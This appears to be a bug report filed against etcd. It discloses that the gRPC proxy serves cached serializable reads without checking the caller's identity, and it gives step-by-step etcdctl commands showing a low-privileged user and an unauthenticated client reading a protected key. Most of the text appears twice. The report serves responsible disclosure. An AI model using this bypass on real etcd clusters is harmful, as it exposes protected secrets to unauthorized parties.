Bug report criteria
What happened?
When etcd auth/RBAC is enabled behind etcd grpc-proxy, the proxy serves protected KV data to clients that have no permission to read it.
The gRPC proxy caches serializable Range responses keyed only by the marshaled RangeRequest bytes. The cache key does NOT include the caller's token, username, roles, permissions, or auth revision. For a serializable read, kvProxy.Range returns the cached response before forwarding the request to the backend, so backend RBAC is never consulted on a cache hit.
Consequence: after any authorized user (e.g. root) reads a protected key/prefix through the proxy, the response is cached. A low-privileged user — or a client with no credentials at all — that issues an equivalent serializable Range (etcdctl --consistency=s) receives the protected value/key names straight from the proxy cache.
The same auth-agnostic cache is also populated from Txn responses: an authorized transaction containing a Range/get stores that range response via kvProxy.txnToCache, which is then reachable by an unauthorized serializable get. --keys-only reads leak protected key names the same way.
Reproduced against etcd 3.6.12 and 3.6.13. The same cache-before-forwarding pattern is still present on the main branch at time of writing.
What did you expect to happen?
A cached response generated for one authenticated identity must not be reusable by a different identity. The proxy should preserve the backend authorization boundary: a serializable Range served from cache should be denied for a caller that the backend would deny, exactly like the linearizable path.
Concretely, at least one of:
- include the caller identity + auth revision in the cache key, or
- revalidate Range permissions against the backend before returning a cached response, or
- disable the serializable Range cache when backend auth is enabled.
The public grpc-proxy docs state the proxy caches responses "when this does not break consistency requirements"; the same reasoning should apply to the authorization boundary.
How can we reproduce it (as minimally and precisely as possible)?
Prereqs: an etcd binary and etcdctl (3.6.12 / 3.6.13 both reproduce).
-
Start a single backend etcd:
etcd --name backend
--data-dir /tmp/repro/data
--listen-client-urls http://127.0.0.1:12479
--advertise-client-urls http://127.0.0.1:12479
--listen-peer-urls http://127.0.0.1:12480
--initial-advertise-peer-urls http://127.0.0.1:12480
--initial-cluster backend=http://127.0.0.1:12480
--initial-cluster-state new
-
Create an RBAC model where low has NO read permission, and a protected key:
etcdctl --endpoints=http://127.0.0.1:12479 user add root:rootpw
etcdctl --endpoints=http://127.0.0.1:12479 user grant-role root root
etcdctl --endpoints=http://127.0.0.1:12479 role add lowrole # deliberately empty
etcdctl --endpoints=http://127.0.0.1:12479 user add low:lowpw
etcdctl --endpoints=http://127.0.0.1:12479 user grant-role low lowrole
etcdctl --endpoints=http://127.0.0.1:12479 put /proxy-cache/secret cached-secret
etcdctl --endpoints=http://127.0.0.1:12479 auth enable
-
Start the gRPC proxy in front of the authenticated backend:
etcd grpc-proxy start
--endpoints=http://127.0.0.1:12479
--listen-addr=127.0.0.1:12490
--advertise-client-url=127.0.0.1:12490
--data-dir /tmp/repro/proxy
-
Baselines (must be DENIED):
etcdctl --endpoints=http://127.0.0.1:12479 --user low:lowpw --consistency=s get /proxy-cache/secret
-> Error: etcdserver: permission denied
etcdctl --endpoints=http://127.0.0.1:12479 --consistency=s get /proxy-cache/secret
-> Error: etcdserver: user name is empty
-
Authorized user primes the proxy cache:
etcdctl --endpoints=http://127.0.0.1:12490 --user root:rootpw get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret
-
BYPASS — low-priv and unauthenticated serializable reads through the proxy:
etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw --consistency=s get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret # should have been denied
etcdctl --endpoints=http://127.0.0.1:12490 --consistency=s get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret # should have been denied
-
Control (still correctly DENIED) — linearizable read forwards to backend:
etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw get /proxy-cache/secret
-> Error: etcdserver: permission denied
Also works through Txn.
Anything else we need to know?
No response
Etcd version (please run commands below)
Details
$ etcd --version
etcd Version: 3.6.13
Git SHA: b0f9ef1
Go Version: go1.25.11
Go OS/Arch: linux/amd64
$ etcdctl version
etcdctl version: 3.6.13
API version: 3.6
Etcd configuration (command line flags or environment variables)
Details
# Backend etcd (auth/RBAC enabled):
etcd --name backend \
--data-dir /tmp/repro/data \
--listen-client-urls http://127.0.0.1:12479 \
--advertise-client-urls http://127.0.0.1:12479 \
--listen-peer-urls http://127.0.0.1:12480 \
--initial-advertise-peer-urls http://127.0.0.1:12480 \
--initial-cluster backend=http://127.0.0.1:12480 \
--initial-cluster-state new
# ... then: auth enable, with `low` having an empty role (no read permission).
# gRPC proxy in front of the authenticated backend:
etcd grpc-proxy start \
--endpoints=http://127.0.0.1:12479 \
--listen-addr=127.0.0.1:12490 \
--advertise-client-url=127.0.0.1:12490 \
--data-dir /tmp/repro/proxy
Etcd debug information (please run commands below, feel free to obfuscate the IP address or FQDN in the output)
Details
$ etcdctl member list -w table
+------------------+---------+----------+------------------------+------------------------+------------+
| ID | STATUS | NAME | PEER ADDRS | CLIENT ADDRS | IS LEARNER |
+------------------+---------+----------+------------------------+------------------------+------------+
| ac7c97ef0ec193b0 | started | issuedbg | http://<REDACTED>:2380 | http://<REDACTED>:2379 | false |
+------------------+---------+----------+------------------------+------------------------+------------+
$ etcdctl --endpoints=<member list> endpoint status -w table
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
| ENDPOINT | ID | VERSION | STORAGE VERSION | DB SIZE | IN USE | PERCENTAGE NOT IN USE | QUOTA | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS | DOWNGRADE TARGET VERSION | DOWNGRADE ENABLED |
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
| http://<REDACTED>:2379 | ac7c97ef0ec193b0 | 3.6.13 | 3.6.0 | 20 kB | 16 kB | 20% | 2.1 GB | true | false | 2 | 5 | 5 | | | false |
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
Relevant log output
Bug report criteria
What happened?
When etcd auth/RBAC is enabled behind
etcd grpc-proxy, the proxy serves protected KV data to clients that have no permission to read it.The gRPC proxy caches serializable
Rangeresponses keyed only by the marshaledRangeRequestbytes. The cache key does NOT include the caller's token, username, roles, permissions, or auth revision. For a serializable read,kvProxy.Rangereturns the cached response before forwarding the request to the backend, so backend RBAC is never consulted on a cache hit.Consequence: after any authorized user (e.g. root) reads a protected key/prefix through the proxy, the response is cached. A low-privileged user — or a client with no credentials at all — that issues an equivalent serializable
Range(etcdctl--consistency=s) receives the protected value/key names straight from the proxy cache.The same auth-agnostic cache is also populated from
Txnresponses: an authorized transaction containing aRange/get stores that range response viakvProxy.txnToCache, which is then reachable by an unauthorized serializable get.--keys-onlyreads leak protected key names the same way.Reproduced against etcd 3.6.12 and 3.6.13. The same cache-before-forwarding pattern is still present on the
mainbranch at time of writing.What did you expect to happen?
A cached response generated for one authenticated identity must not be reusable by a different identity. The proxy should preserve the backend authorization boundary: a serializable Range served from cache should be denied for a caller that the backend would deny, exactly like the linearizable path.
Concretely, at least one of:
The public grpc-proxy docs state the proxy caches responses "when this does not break consistency requirements"; the same reasoning should apply to the authorization boundary.
How can we reproduce it (as minimally and precisely as possible)?
Prereqs: an etcd binary and etcdctl (3.6.12 / 3.6.13 both reproduce).
Start a single backend etcd:
etcd --name backend
--data-dir /tmp/repro/data
--listen-client-urls http://127.0.0.1:12479
--advertise-client-urls http://127.0.0.1:12479
--listen-peer-urls http://127.0.0.1:12480
--initial-advertise-peer-urls http://127.0.0.1:12480
--initial-cluster backend=http://127.0.0.1:12480
--initial-cluster-state new
Create an RBAC model where
lowhas NO read permission, and a protected key:etcdctl --endpoints=http://127.0.0.1:12479 user add root:rootpw
etcdctl --endpoints=http://127.0.0.1:12479 user grant-role root root
etcdctl --endpoints=http://127.0.0.1:12479 role add lowrole # deliberately empty
etcdctl --endpoints=http://127.0.0.1:12479 user add low:lowpw
etcdctl --endpoints=http://127.0.0.1:12479 user grant-role low lowrole
etcdctl --endpoints=http://127.0.0.1:12479 put /proxy-cache/secret cached-secret
etcdctl --endpoints=http://127.0.0.1:12479 auth enable
Start the gRPC proxy in front of the authenticated backend:
etcd grpc-proxy start
--endpoints=http://127.0.0.1:12479
--listen-addr=127.0.0.1:12490
--advertise-client-url=127.0.0.1:12490
--data-dir /tmp/repro/proxy
Baselines (must be DENIED):
etcdctl --endpoints=http://127.0.0.1:12479 --user low:lowpw --consistency=s get /proxy-cache/secret
-> Error: etcdserver: permission denied
etcdctl --endpoints=http://127.0.0.1:12479 --consistency=s get /proxy-cache/secret
-> Error: etcdserver: user name is empty
Authorized user primes the proxy cache:
etcdctl --endpoints=http://127.0.0.1:12490 --user root:rootpw get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret
BYPASS — low-priv and unauthenticated serializable reads through the proxy:
etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw --consistency=s get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret # should have been denied
etcdctl --endpoints=http://127.0.0.1:12490 --consistency=s get /proxy-cache/secret
-> /proxy-cache/secret / cached-secret # should have been denied
Control (still correctly DENIED) — linearizable read forwards to backend:
etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw get /proxy-cache/secret
-> Error: etcdserver: permission denied
Also works through Txn.
Anything else we need to know?
No response
Etcd version (please run commands below)
Details
Etcd configuration (command line flags or environment variables)
Details
Etcd debug information (please run commands below, feel free to obfuscate the IP address or FQDN in the output)
Details
Relevant log output